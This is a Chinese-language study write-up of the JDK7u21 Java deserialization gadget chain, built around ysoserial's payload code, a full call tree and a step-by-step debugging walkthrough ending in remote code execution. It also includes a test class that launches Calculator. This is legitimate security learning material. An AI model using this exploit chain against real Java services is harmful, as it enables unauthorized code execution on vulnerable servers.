JDK7u21

1、前置知识

jdk7u21是一条不依赖CommonsCollections库依赖的,看利用链所有知识其实跟CommonsCollections也有重复,我们来学习一下以前没学过的类或者方法。环境是jdk7u17。

LinkedHashSet

首先入口是LinkedHashSet的readObject方法,LinkedHashSet是HashSet的子类,也继承了序列化接口和集合接口,但是LinkedHashSet是没有重写readObject方法的,所以LinkedHashSet调用的是HashSet的父类的readObject方法

  1. //构造函数,可以看到是直接调用父类的方法
  2. public LinkedHashSet(int initialCapacity) {
  3. super(initialCapacity, .75f, true);
  4. }

AnnotationInvocationHandler

hashCodeImpl

这个函数就是用来计算hashCode的,具体分析可以看POC调试,

  1. private int hashCodeImpl() {
  2. int var1 = 0;
  3. Entry var3;
  4. for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
  5. var3 = (Entry)var2.next();
  6. }
  7. return var1;
  8. }

memberValueHashCode

这个也是用来计算hashCode,可以看到里面都是调用hashCode方法,具体作用看POC调试

equalsImpl

用来通过invoke来执行我们的恶意代码,具体看POC调试

TemplatesImpl

getOutputProperties

其实getOutputProperties就是用来调用我们的newTransformer,然后就是跟cc链一样去实例化templates造成RCE

  1. public synchronized Properties getOutputProperties() {
  2. try {
  3. return newTransformer().getOutputProperties();
  4. }
  5. catch (TransformerConfigurationException e) {
  6. return null;
  7. }
  8. }

2、POC分析

2.1、利用链

  1. /*
  2. Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
  3. the same JRE version requirements.
  4. See: https://gist.github.com/frohoff/24af7913611f8406eaf3
  5. Call tree:
  6. LinkedHashSet.readObject()
  7. LinkedHashSet.add()
  8. ...
  9. TemplatesImpl.hashCode() (X)
  10. LinkedHashSet.add()
  11. ...
  12. Proxy(Templates).hashCode() (X)
  13. AnnotationInvocationHandler.invoke() (X)
  14. AnnotationInvocationHandler.hashCodeImpl() (X)
  15. String.hashCode() (0)
  16. AnnotationInvocationHandler.memberValueHashCode() (X)
  17. TemplatesImpl.hashCode() (X)
  18. Proxy(Templates).equals()
  19. AnnotationInvocationHandler.invoke()
  20. AnnotationInvocationHandler.equalsImpl()
  21. Method.invoke()
  22. ...
  23. TemplatesImpl.getOutputProperties()
  24. TemplatesImpl.newTransformer()
  25. TemplatesImpl.getTransletInstance()
  26. TemplatesImpl.defineTransletClasses()
  27. ClassLoader.defineClass()
  28. Class.newInstance()
  29. ...
  30. MaliciousClass.<clinit>()
  31. ...
  32. Runtime.exec()
  33. */

2.2、POC分析

这里使用ysoserial来分析,看看大佬是怎么构造poc的,主函数在getObject方法里

  1. public Object getObject(final String command) throws Exception {
  2. final Object templates = Gadgets.createTemplatesImpl(command);
  3. String zeroHashCodeStr = "f5a5a608";
  4. HashMap map = new HashMap();
  5. map.put(zeroHashCodeStr, "foo");
  6. InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
  7. Reflections.setFieldValue(tempHandler, "type", Templates.class);
  8. Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
  9. LinkedHashSet set = new LinkedHashSet(); // maintain order
  10. set.add(templates);
  11. set.add(proxy);
  12. Reflections.setFieldValue(templates, "_auxClasses", null);
  13. Reflections.setFieldValue(templates, "_class", null);
  14. map.put(zeroHashCodeStr, templates); // swap in real object
  15. return set;
  16. }

第一部分代码

  1. final Object templates = Gadgets.createTemplatesImpl(command);

我们跟进createTemplatesImpl去看,判断为否,直接返回重载方法,除了命令,还传入了TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class,继续跟进

  1. public static Object createTemplatesImpl ( final String command ) throws Exception {
  2. if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
  3. return createTemplatesImpl(
  4. command,
  5. Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
  6. Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
  7. Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
  8. }
  9. return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
  10. }

首先是第一红框实例化了我们的TemplateImpl,然后使用javassit构造一个恶意类,首先创建一个类池,把StubTransletPayload和abstTranslet的路径插入类池,然后StubTransletPayload的名字创建一个类clazz。第二个红框就是把恶意代码嵌入恶意类,然后设置名字和父类abstTranslet,然后转成字节码赋值给classBytes

StubTransletPayload就是作者创造的一个静态类

我接着继续看,看代码的意思反射设置属性值,跟进去看看。

跟进来发现就是反射直射属性值,所以就是反射设置我们第一行创建的templates,然后设置属性_bytecodes、_name和_tfactor,然后就返回恶意的Templates

我们一个一个来看,其实前面两个在ComonsCollections链已经分析过,这里简单说明。

_name

在TemplateImpl里面的getTransletInstance,会有判断。继续进入当_class为null进入defineTransletClasses

_bytecodes

在defineTransletClasses,会有对_bytecodes判断,然后赋值给_class,返回getTransletInstance方法实例化_class。

_tfactor

看一个大佬的文章说是 在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory 设值,但是在jdk7u17上并未发现,也许在其他版本,这里就不深究

其实这部分代码就是为了生成一个恶意的templates

第二部分代码

这部分就是新建一个HashMap,把一个特殊的字符串(“f5a5a608”)作为map的key,看属性的命令是说空的HashCode字符串,这里不做深究,调式在具体看

  1. String zeroHashCodeStr = "f5a5a608";
  2. HashMap map = new HashMap();
  3. map.put(zeroHashCodeStr, "foo");

第三部分代码

  1. InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
  2. Reflections.setFieldValue(tempHandler, "type", Templates.class);
  3. Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

1.第一行获取AnnotationInvocationHandler的类型并且使用map作为参数,赋值给tempHandler

  1. InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);

ANN_INV_HANDLER_CLASS就是AnnotationInvocationHandler类

getFirstCtor就是通过传入的名字反射获取结构体,newInstance就是通过getFirstCtor获取结果提然后根据传入的参数(map),创建一个实例

2.第二行反射 设置tempHandler的type的属性值为Templates.class,在getMeberMethods方法会用到

  1. Reflections.setFieldValue(tempHandler, "type", Templates.class);

3.第三行就是创建代理,我们跟进去createProxy看看

  1. Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

进来发现其实就是把传入的tempHandler(创建了一个代理),allIface就是接口类型(Templates.class)。

第四部分代码

创建一个LinkedHashSet,LinkedHashSet在前置知识有学习过,然后再LinkedHashSet存入两个变量,一个恶意类templates,一个代理类proxy,proxy里面其实就是一个map,然后反射设置属性_auxClasses、_class,这两个都是为了在TemplateImple的getTransletInstance方法不报错的。最后就是把map的key(zeroHashCodeStr)的值设置为templates

为啥最后才设置,真的可以加入swap内存里吗,自己去调试时发现是可以的

  1. LinkedHashSet set = new LinkedHashSet(); // maintain order
  2. set.add(templates);
  3. set.add(proxy);
  4. Reflections.setFieldValue(templates, "_auxClasses", null);
  5. Reflections.setFieldValue(templates, "_class", null);
  6. map.put(zeroHashCodeStr, templates); // swap in real object

ysoserial对代码进行很好的封装,自己以后写小工具,可以多借鉴大佬的这种封装思路。

2.3、POC调试

写个测试类

  1. package ysoserial.test.payloads;
  2. import org.apache.xalan.xsltc.trax.TemplatesImpl;
  3. import ysoserial.payloads.Jdk7u21;
  4. import java.io.FileInputStream;
  5. import java.io.FileOutputStream;
  6. import java.io.ObjectInputStream;
  7. import java.io.ObjectOutputStream;
  8. public class Jdk7u21Test {
  9. public static void main(String[] args) throws Exception {
  10. Object calc = new Jdk7u21().getObject("open /System/Applications/Calculator.app");
  11. ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.ser"));
  12. oos.writeObject(calc);
  13. ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.ser"));
  14. Object o = ois.readObject();
  15. }
  16. }

首先在HashSet处打下断点,就是先判断传入的类型是什么,传入的是LinkHashMap,就会新建一个LinkHashMap赋值给map,然后进入for循环反序列赋值给e变量(恶意的TemplateImpl),然后和空的Object对象一起存入map。LinkHashSet我们存入两个对象,分别是TemplateImpl和proxy,第一遍是TemplateImpl,我们继续跟进put方法。

其实进入到Hashmap的put方法,首先判断key是否为null,然后计算key(既TemplatesImpl)的hash,hash是833788266,然后调用indexFor方法传入hash和table的长度,table就是空entry如下图,我们跟进去

就是把hash和length进行位与运算然后直接返回,出来put的方法

得出i=10,进入for循环,上边说过table是空的,所以直接越过for循环,

然后就到了我们addEntry方法,传入hash、key(TemplatesImpl)、value、i(10),value是空的Object对象,我也跟进去看看

进来发现是LinkHashMap,其调用父类(HashMap)的方法,继续跟进

进入HashMap的addEntry方法--》createEntry创建一个entry,并且赋值给table。

然后就结束了,返回到readObject方法的第二次循环,map的key存放的是proxy,我们的代理对象(AnnotationInvocationHandler),继续跟进

我们要进入for循环,就是这条链最精华的部分,真实让i为我们上次传入的的值一模一样,这样table[i]才不为null,e不为null才能进入循环,就是”for (Entry<K,V> e = table[i]; e != null; e = e.next) “,我们继续跟进hash方法,key为Proxy,Proxy就是我们的AnnotationInvocationHandler

进入hash方法,就是k就是proxy,所以是proxy调用了hashCode()方法,就是AnnotationInvocationHandler调用了hashCode方法,因为代理对象会调用invoke方法,继续跟进

进入invoke方法后,会反射获取方法名(hashCode),判断是否为“equals”,负责就位根据方法名调用对象的方法,所以调用的是AnnotationInvocationHandler(this)的hashCodeImpl(),继续跟进

进入hashCodeImpl,发现var2是一个迭代器,迭代的是memberValues

this.memberValues为构造方法传入的map,(“f5a5a608”=templatesImpl)

我们继续来看for里面的判断语句

var3是通过第一遍循环通过var2赋值的,就是我们传入map(“f5a5a608”=templatesImpl)

就是var3的key的hashCodevar3的value值的hash值进行位异或操作,

  1. var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())

127 * ((String)var3.getKey()).hashCode() 为0,因为key为f5a5a608,f5a5a608的hashCode=0,我们跟进去

memberValueHashCode的参数就是templatesImpl,会调用templatesImpl的hashCode()方法,所以得到与第一循环完全一样的hashcode,我们跟进去计算一下,得到了855362136,怎跟我们算的不一样,答案是这是是hashCode,并不是hash方法,我们继续跟下去

所以使用0和templatesImpl的hashCode()进行异或运算得到就是templatesImpl的hashCode()

然后再hash方法中通过位异或运算

可以看到得出来的hash结果跟第一遍的833788266一样

最后我们成功进入到for循环里

我们来继续看if语句,只有e.hash == hash && ((k = e.key) == key为假,才会执行key.equals(k),我们的目的执行地

首先看e.hash == hash,e.hash就是我们第一次循环的templateImpl的hash,hash就是proxy(map(“f5a5a608”=templatesImpl))的hash,为ture

(k = e.key) == key,这个肯定不一样,为false,因为k=e.key是第一遍循环传入的templateImpl,key是第二遍循环传入的proxy

所以就会执行我们的key.equals(k),就是proxy.equals(templateImpl),到了这里又不得不说夸一句作者牛!

接下来我们继续跟进key.equals(k),就是proxy.equals(templateImpl),所以会进入到我们AnnotationInvocationHandler的invoke方法,

var1为代理对象,var3为TemplatesImpl

首先反射获取方法名,然后判断var4是否equals,肯定是的因为我们就是通过equals方法就来的,成功进入if,到了equalsImpl方法,参数是var3就是TemplatesImpl,就是this.equalsImpl(TemplatesImpl),继续跟进

进入equalsImpl方法,发现var5.invoke(var1),var1就是TemplatesImpl,var5是通过var2[],var2[]是this.getMeberMethods(),我们查看一下该方法。

进入后发现this.type就是我们赋值的TemplatesImpl对象,获取的就是newTransformer和getOutputProperties.

所以var2[]存的newTransformer和getOutputProperties.方法,第一遍循环拿到的是newTransformer方法

然后通过invoke,反射执行TemplatesImpl的newTransformer方法(可以看到var6是newTransformer),实例化我们的TemplatesImpl,造成远程代码执行,后面的就不跟进去了,不懂的可以看看CommonsCollections链

但是为啥没有进入getOutputProperties方法去,虽然进去的也是调用newTransformer,两个方法,第一个就是newTransformer,直接就远程代码执行了(在getOutputProperties打断点也没有用),也许jdk不同把,有大佬有其他答案望告知。

2.4、结束

通过这次学习jdk7u21发现作者的思路真的是很巧妙,借鉴很多大佬的经验,逻辑运算很多,细节很多。接下来就去学习调试fastjson。

参考链接

https://cnblogs.com/nice0e3/p/14026849.html

https://y4er.com/post/ysoserial-jdk7u21/

https://paper.seebug.org/1224/

JDK7u21反序列链学习的更多相关文章

  1. Fastjsonfan反序列链学习前置知识

    Fastjson前置知识 Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象. Fastjson 可以操作任何 ...

  2. CommonsCollection2反序列链学习

    CommonsCollection2 1.前置知识 CmonnosCollection2需要用到Javassist和PriorityQueue 1.1.Javassist Javassist是一个开源 ...

  3. GNU工具链学习笔记

    GNU工具链学习笔记 1..so为动态链接库,.a为静态连接库.他们在Linux下按照ELF格式存储.ELF有四种文件类型.可重定位文件(Relocatable file,*.o,*.a),包含代码和 ...

  4. CommonsCollection6反序列化链学习

    CommonsCollection6 1.前置知识 1.1.HashSet HashSet 基于 HashMap 来实现的,是一个不允许有重复元素的集合.继承了序列化和集合 构造函数参数为空的话创建一 ...

  5. C3P0反序列化链学习

    C3P0 c3p0第一次听闻是用于fastjson的回显上,大佬们总结三种方法,后面两种主要就是用于fastjson和jackjson的回显利用(注入内存马) http base jndi hex序列 ...

  6. JS 原型链学习总结

    废话篇: 在js的学习过程中有一大难点就是原型链.学习的时候一直对这一内容不是十分的明白.纠结的我简直难受.,幸好总算给他弄通了,哇咔咔,总算可以不用在睡梦中还想着他了. 正文篇: 要了解原型链我们首 ...

  7. JavaScript原型(链)学习笔记

    javascript是基于原型的一门脚本语言,那究竟原型是什么? 本文将从以下几个方面重点阐述原型 构造函数是什么? 构造函数和我们常见的Array String有什么关系? 原型的使用? __pro ...

  8. JavaScript作用域(链)学习笔记

    作用域是javascript老生常谈的问题,在面试题中也经常出现.此文记录本人对js作用域的理解.从以下三个方面深入探讨js作用域和js作用域链. 1.什么是作用域? 2.什么是作用域链? 3.常见面 ...

  9. 区块链学习笔记:D03 区块链在各行业领域的应用(一)

    今天主要是学习了区块链在金融和供应链领域的应用,重点体现了区块链多方参与.透明可信.防篡改防抵赖的技术优势 区块链的应用场景最早是在金融行业应用较多,后续逐步扩展到传统行业,如:供应链.政务服务.物联 ...

随机推荐

  1. Java数组经典例题

    数组中元素的求和 public class T02 { public static void main(String[] args) { int[][]arr=new int[][]{{1,2,3,4 ...

  2. 用iptables封杀内网的bt软件

    我所在的网络情况是这样的!1台FC3和3台win2000组成一个局域网!四台机都接在100m的交换机上.在FC3上有两个网卡eth0接外网 adsl eth1接在交换机.FC3做nat带3台win20 ...

  3. 初学者都能学会的ElasticSearch入门实战

    大家好,我是咔咔 不期速成,日拱一卒 项目中准备使用ElasticSearch,之前只是对ElasticSearch有过简单的了解没有系统的学习,本系列文章将从基础的学习再到深入的使用. 咔咔之前写了 ...

  4. 配置jenkins+git+python实现接口自动化持续集成

    1.安装jenkins服务(傻瓜式安装,这里不做描述) 2.windows上访问jenkins地址(http://ip:端口号/),用户名密码登录 3.进入后新建一个job 4.Source Code ...

  5. K8S原来如此简单(四)Service+Ingress

    上一篇我们通过deployment实现了pod的横向扩展,但是仍然不能负载,也不能对外提供服务,现在我们来看看如何通过k8s实现负载与外网访问 Service service为一组pod提供一个统一的 ...

  6. 女朋友汇总表格弄了大半天,我实在看不下去了,用40行代码解决问题 | Python使用openpyxl库读写表格Excel(xlsx)

    1.openpyxl基本操作 python程序从excel文件中读数据基本遵循以下步骤: 1.import openpyxl 2.调用openpyxl模块下的load_workbook('你的文件名. ...

  7. ioctl以及read阻塞型引发的思考

    1. 尝试strace 或 jstack 去追踪程序,发现某一个进程作为socket连接server出现如下的log(strace追踪): 1. ioctl(45,[0],0) = 0 2. .... ...

  8. 数据库篇:mysql锁详解

    前言 sql事务的执行,如果需要锁定数据进行更新操作,则必定离不开锁 共享锁和排他锁 表锁 行锁 Record Lock 间隙锁 Gap Lock 行锁+间隙锁 Next-Key Lock 加锁场景( ...

  9. 使用SpringDataJdbc的@Query注解实现自动映射结果集 ----- RowMapper接口

    使用@Query注解的时候,常常需要写sql来映射非域类的实例,通常的做法就是 实现 RowMapper接口,然后new实例一个一个的设置值进去...为此.出世了自动映射工具类 注意事项:此抽象类只是 ...

  10. java-jsp-learnning

    简介:JSP(全称Java Server Pages) 一种动态网页开发技术.它使用JSP标签在HTML网页中插入Java代码.标签通常以<%开头以%>结束. JSP是一种Java ser ...